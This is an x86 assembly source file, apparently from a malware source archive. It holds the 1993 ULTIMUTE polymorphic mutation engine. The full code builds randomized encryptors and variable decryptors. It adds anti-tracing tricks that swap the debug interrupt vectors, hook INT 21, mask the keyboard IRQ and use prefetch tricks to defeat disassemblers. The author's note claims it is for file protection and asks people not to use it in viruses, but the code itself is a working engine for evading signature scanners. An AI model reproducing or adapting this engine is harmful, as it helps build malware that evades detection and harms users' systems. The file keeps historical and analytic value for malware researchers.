MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ultimute.asm
2021-01-12 18:01:59 -06:00

585 lines
18 KiB
NASM

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The ULTImate MUTation Engine .93á (c) 1993 Black Wolf Enterprises
; pardon the title, had to think of something... }-)
;
;ULTIMUTE is a mutation engine written for security-type applications and
;other areas where mutation of executable code is necessary. For my personal
;use, I have implemented it in Black Wolf's File Protection Utilities 2.1s,
;using it to encrypt the code placed onto EXE's and COM's to protect them
;from simple modification and/or unauthorized use. The encryption algorithms
;themselves are terribly simple - the main point being that they change
;each time and are difficult to trace through. This engine is written mainly
;to keep a "hack one, hack 'em all" approach from working on protected code,
;rather than to keep the code secure by a cryptologist's point of view.
;
;Including: Better Anti-Tracing abilities, 1017 byte size, Anti-Disassembling
; code, largely variable size for decoder. Also includes variable
; calling segmentation (i.e. CS<>ES<>DS, and can be called via
; near call, far call, or interrupt, the last of which can be
; useful as a memory-resident handler for multiple programs to
; use).
;
;Note: Please - this program and it's source have been released as freeware,
; but do NOT use the mutation engine in viruses! For one thing, the
; decryptor sequence has several repetitive sequences that can be scanned
; for, and for another, that just isn't what it was designed for and
; I would NOT appreciate it. If you MUST use someone else's mutation
; engine for such, use the TPE or MTE. I do NOT condone such, however.
;
;Any modifications made to this program should be listed below the solid line,
;along with the name of the programmer and the date the file was changed.
;Also - they should be commented where changed. If at all possible, report
;modifications to file to the address listed in the documentation.
;
;DISCLAIMER: The author takes ABSOLUTELY NO RESPONSIBILITY for any damages
;resulting from the use/misuse of this program. The user agrees to hold
;the author harmless for any consequences that may occur directly or
;indirectly from the use of this program by utilizing this program/file
;in any manner. Please use the engine with care.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Modifications:
; None as of yet (original release version)
.model tiny
.radix 16
.code
public _ULTMUTE, _END_ULTMUTE, Get_Rand, Init_Rand
;Underscores are used so that these routines can be called from C and other
;upper level languages. If you wish to use Get_Rand and Init_Rand in C, you
;need to add underscores in their names as well. Also, the random number
;generations may not be sound for all purposes. They do the job for this
;program, but they may/may not be mathematically correct.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ENTRY:
; CX=Code Length BX=New_Entry_Point
; DS:SI=Code AX=Calling Style
; ES:DI=Destination 1=Near Call, 2=Far Call, 3=Int Call
;
;RETURN:
; CX=New Size ES:DI = Same, now contains encrypted code
; w/decryptor
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
_ULTMUTE:
push bp ax bx cx dx es ds si di
call Get_Our_Offset
Offset_Mark:
inc cx
inc cx
mov word ptr cs:[bp+1+Set_Size],cx
mov word ptr cs:[Start_Pos+bp],bx
call Init_Rand
call Get_Base_Reg
call Setup_Choices
call Create_EncDec
call Copy_Decrypt_Code
call Encrypt_It
Ending_ULTMUTE:
pop di si ds es dx cx bx ax
add cx,cs:[Decryptor_Length+bp]
inc cx
inc cx
pop bp
cmp ax,3 ;Select Returning method, i.e. retn, retf, iret
je Int_Call
cmp ax,2
je Far_Call
Near_Call:
retn
Far_Call:
retf
Int_Call:
iret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get_Our_Offset:
mov bp,sp
mov bp,ss:[bp] ;This trick finds our current offset
sub bp,offset Offset_Mark ;from the compiling point, as it
ret ;is usually not constant....
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Init_Rand:
push ax ds
xor ax,ax
mov ds,ax
mov ax,ds:[46c] ;Get seed from timer click at
pop ds ;0000:046c
mov cs:[rand_seed+bp],ax
pop ax
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get_Rand:
push cx dx
mov ax,cs:[rand_seed+bp]
mov cx,0deadh
mul cx ;This probably isn't a good algorithm,
xor ax,0dada ;(understatement) but it works for
ror ax,1 ;our purposes in this application.
mov cs:[rand_seed+bp],ax
pop dx cx
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
rand_seed dw 0
Base_Reg db 0
Base_Pointer db 0
Start_Pos dw 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get_Base_Reg:
call Get_Rand
and ax,11b
cmp al,1 ;Eliminate CX for loop purposes
je Get_Base_Reg
mov byte ptr cs:[bp+Base_Reg],al
Do_Pointer_Reg:
call Get_Rand
shr al,1
jc Done_Base_Reg
mov byte ptr cs:[bp+Base_Pointer],0
ret
Done_Base_Reg:
mov byte ptr cs:[bp+Base_Pointer],1
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Setup_Choices:
push ds si
push cs
pop ds
mov si,bp
call Get_Rand
mov word ptr [si+Xor_It+2],ax ;Randomize Xor
call Get_Rand
mov word ptr [si+Dummy3+2],ax ;Randomize Add/Sub
mov word ptr [si+Dummy7+2],ax
call Get_Rand ;Randomize Add/Sub
mov word ptr [si+Dummy4+2],ax
mov word ptr [si+Dummy8+2],ax
call Get_Rand
mov byte ptr [si+Rand_Byte1],al ;Randomize Random bytes
mov byte ptr [si+Rand_Byte2],ah
call Get_Rand
mov byte ptr [si+Rand_Byte3],al
mov byte ptr [si+Rand_Byte4],ah
call Get_Rand
mov byte ptr [si+Rand_Byte5],al
mov byte ptr [si+Rand_Byte6],ah
call Get_Rand
mov byte ptr [si+Rand_Byte7],al
mov byte ptr [si+Rand_Byte8],ah
call Get_Rand
mov byte ptr [si+Rand_Byte9],al
mov byte ptr [si+Rand_Byte10],ah
mov al,byte ptr [si+Base_Reg]
Set_Switcher:
and byte ptr [si+Switcher+1],0e6 ;Delete Register
mov ah,al
shl ah,1
shl ah,1
shl ah,1
or byte ptr [Switcher+1+si],ah
Set_Switcher_Pointer:
push ax
mov al,byte ptr [si+Base_Pointer]
or byte ptr [si+Switcher+1],al
Set_Set_Pointy:
and byte ptr [si+Set_Pointy],0fe
or byte ptr [si+Set_Pointy],al
and byte ptr [si+Inc_Pointy],0fe
or byte ptr [si+Inc_Pointy],al
and byte ptr [si+Inc_Pointy+1],0fe
or byte ptr [si+Inc_Pointy+1],al
pop ax
Set_Xorit:
and byte ptr [si+Xor_It+1],0fc
or byte ptr [si+Xor_It+1],al
Set_Flip_It:
and byte ptr [si+Flip_It+1],0e4
or byte ptr [si+Flip_It+1],al
or byte ptr [si+Flip_It+1],ah
Set_Rotate_It:
and byte ptr [si+do_rotate+1],0fc
or byte ptr [si+do_rotate+1],al
and byte ptr [si+do_rot2+1],0fc
or byte ptr [si+do_rot2+1],al
Set_IncDec:
and byte ptr [si+inc_bx_com],0fc
or byte ptr [si+inc_bx_com],al
and byte ptr [si+dec_bx_com],0fc
or byte ptr [si+dec_bx_com],al
and byte ptr [si+Dummy5],0fc
or byte ptr [si+Dummy5],al
and byte ptr [si+Dummy6],0fc
or byte ptr [si+Dummy6],al
Set_AddSub:
and byte ptr [si+Dummy3+1],0fc
and byte ptr [si+Dummy4+1],0fc
or byte ptr [si+Dummy3+1],al
or byte ptr [si+Dummy4+1],al
and byte ptr [si+Dummy7+1],0fc
and byte ptr [si+Dummy8+1],0fc
or byte ptr [si+Dummy7+1],al
or byte ptr [si+Dummy8+1],al
pop si ds
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Create_EncDec:
push es di cx
push cs
pop es
lea di,[bp+Encrypt_Sequence]
call Get_Rand
and ax,1fh
shr ax,1 ;Insure odd number of encryptors to prevent
shl ax,1 ;things like "INC AX / DEC AX" to leave prog
inc ax ;unencrypted.
mov byte ptr cs:[bp+Encrypt_Length],al
xchg cx,ax
Make_Pattern:
call Get_Rand
and ax,7
stosb
loop Make_Pattern
pop cx di es
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Copy_Decrypt_Code:
push si di bx cx ds
push bx di ;save for loop
push cs
pop ds
lea si,[bp+Set_Pointy]
movsw
movsb
lodsb ;Copy initial encryptor
movsw
movsb
lodsb
movsw
mov cl,byte ptr cs:[bp+Encrypt_Length]
xor ch,ch
lea si,[Encrypt_Sequence+bp] ;didn't have bp earlier
Dec_Set_Loop:
push cx
lodsb
push si ;Create the Decryptor from Sequence
mov bl,al
xor bh,bh
shl bx,1
add bx,bp
add bx,offset Command_Table
mov ax,cs:[bx]
mov cl,ah
xor ah,ah
lea si,[Xor_It+bp]
add si,ax
repnz movsb
pop si
pop cx
loop Dec_Set_Loop
lea si,[Switcher+bp]
movsw
lodsb ;Finish off Decryptor
movsw
lodsb
movsw ;Loop Setup
movsw
pop si bx
mov ax,di ;Set Loop
sub ax,si ;Do size of loop and offset from loop
mov cs:[Decryptor_Length+bp],ax
push ax ;Changed for Jump
not ax
add ax,5
stosw
pop ax
add bx,ax ;Set initial Pointer
mov es:[si+1],bx
mov ax,di
pop ds cx bx di si
push si di bx cx
Copy_Prog:
push ax
sub ax,di
add ax,bx
mov word ptr es:[di+1],ax
pop ax
mov di,ax
repnz movsb
pop cx bx di si
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Encrypt_It:
push bx cx di si
call set_seqp
mov ax,cs:[Decryptor_Length+bp]
inc ax
inc ax
add di,ax ;DI=start of code to be encrypted
;CX=Length of code to encrypt
mov si,di
push es
pop ds
Big_Enc_Loop:
push cx
call Switcher
mov cx,cs:[Encrypt_Length+bp]
Encrypt_Value:
push ax bx cx dx si di
mov si,cs:[Save_SI+bp]
dec si
mov bl,cs:[si] ;??
mov cs:[Save_SI+bp],si
lea si,cs:[Com_Table_2+bp]
xor bh,bh
shl bx,1
add si,bx
mov bx,cs:[si]
add bx,bp
mov word ptr cs:[Next_Command+bp],bx
pop di si dx cx bx ax
call cs:[Next_Command+bp]
Loop Encrypt_Value
pop cx
call Switcher
call Inc_Pointy
call set_seqp
loop Big_Enc_Loop
pop si di cx bx
ret
Save_SI dw 0
Next_Command dw 0
set_seqp:
push si
lea si,cs:[Encrypt_Sequence+bp] ;SI=Encrypt_Sequence
add si,cs:[Encrypt_Length+bp] ;SI=End of Encrypt Sequence
mov cs:[Save_SI+bp],SI
pop si
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Command_Table: ;8 commands -> 3 bits.
db [Xor_It-Xor_It],(Flip_It-Xor_It-1)
db [Flip_It-Xor_It],(Rotate_It_1-Flip_It-1)
db [Rotate_It_1-Xor_It],(Rotate_It_2-Rotate_It_1-1)
db [Rotate_It_2-Xor_It],(Dummy1-Rotate_It_2-1)
db [Dummy1-Xor_It],(Dummy2-Dummy1-1)
db [Dummy2-Xor_It],(Dummy3-Dummy2-1)
db [Dummy3-Xor_It],(Dummy4-Dummy3-1)
db [Dummy4-Xor_It],(Dummy5-Dummy4-1)
Com_Table_2:
dw [offset Xor_It]
dw [offset Flip_It]
dw [offset Rotate_It_2]
dw [offset Rotate_It_1]
dw [offset Dummy5]
dw [offset Dummy6]
dw [offset Dummy7]
dw [offset Dummy8]
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Set_Pointy:
mov di,1234 ;Pointer to Code
ret
Set_Size:
mov cx,1234 ;Size
ret
Switcher:
xchg bx,[di]
ret
Inc_Pointy:
inc di
inc di
ret
Loop_Mut:
dec cx
jz End_Loop_Mut
loop_set:
jmp _ULTMUTE
End_Loop_Mut:
ret
Xor_It:
xor bx,1234
ret
Flip_It:
xchg bh,bl
ret
Rotate_It_1:
jmp before_rot
do_rotate:
ror bx,1
jmp after_rot
before_rot:
push ax
call Ports1
pop ax
jmp do_rotate
Ports1:
in al,21
or al,02
out 21,al
ret
Ports2:
in al,21
xor al,02
out 21,al
ret
after_rot:
push ax
call ports2
pop ax
ret
Rotate_It_2:
cli
jmp confuzzled1
do_rot2:
rol bx,1
call Switch_Int_1_3
jmp donerot2
confuzzled1:
call Switch_Int_1_3
jmp do_rot2
Switch_Int_1_3:
push ax ds
xor ax,ax
mov ds,ax
jmp short exch1
db 0eah
exch1:
xchg ax,word ptr ds:[4]
jmp short exch2
db 9ah
exch2:
xchg ax,word ptr ds:[0c]
xchg ax,word ptr ds:[4]
pop ds ax
ret
donerot2:
ret
Dummy1:
jmp short inc_bx_com ;Kill Disassemblers
db 0ea
Rand_Byte1:
db 0ea
inc_bx_com:
inc bx
ret
Dummy2:
jmp short Kill_1
Rand_Byte2:
db 0ea
Cont_Kill1:
cli
xchg ax,ds:[84]
xchg ax,ds:[84]
sti
pop ds ax
dec_bx_com:
dec bx
jmp short quit_Kill1
Kill_1:
push ax ds
xor ax,ax
mov ds,ax ;Anti-Debugger (Kills Int 21)
jmp short Cont_Kill1
Rand_Byte3:
db 0e8
quit_Kill1:
ret
Dummy3:
add bx,1234
push bx
call throw_debugger
Rand_Byte4:
db 0e8 ;Prefetch Trick
into_throw:
sub bx,offset Rand_Byte4
add byte ptr [bx+trick_em+1],0ba
trick_em:
jmp short done_trick
Rand_Byte5:
db 0ea
throw_debugger:
pop bx
jmp short into_throw
Rand_Byte6:
db 0ea
done_trick:
sub byte ptr [bx+trick_em+1],0ba
pop bx
ret
Dummy4:
sub bx,1234
jmp short Get_IRQ
Rand_Byte7 db 0e8
Kill_IRQ:
out 21,al
xor al,2
jmp short Restore_IRQ
Rand_Byte8 db 0e8
Rand_Byte9 db 0e8 ;This will kill the keyboard
Get_IRQ: ;IRQ
push ax
in al,21
xor al,2
jmp short Kill_IRQ
Rand_Byte10 db 0e8
Restore_IRQ:
out 21,al
pop ax
ret
;The following are used for the encryption algorithm to reverse commands that
;include anti-tracing.
Dummy5:
dec bx
ret
Dummy6:
inc bx
ret
Dummy7:
sub bx,1234
ret
Dummy8:
add bx,1234
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Decryptor_Length dw 0
Encrypt_Length dw 0
Encrypt_Sequence db 30 dup(0)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
_END_ULTMUTE:
end _ULTMUTE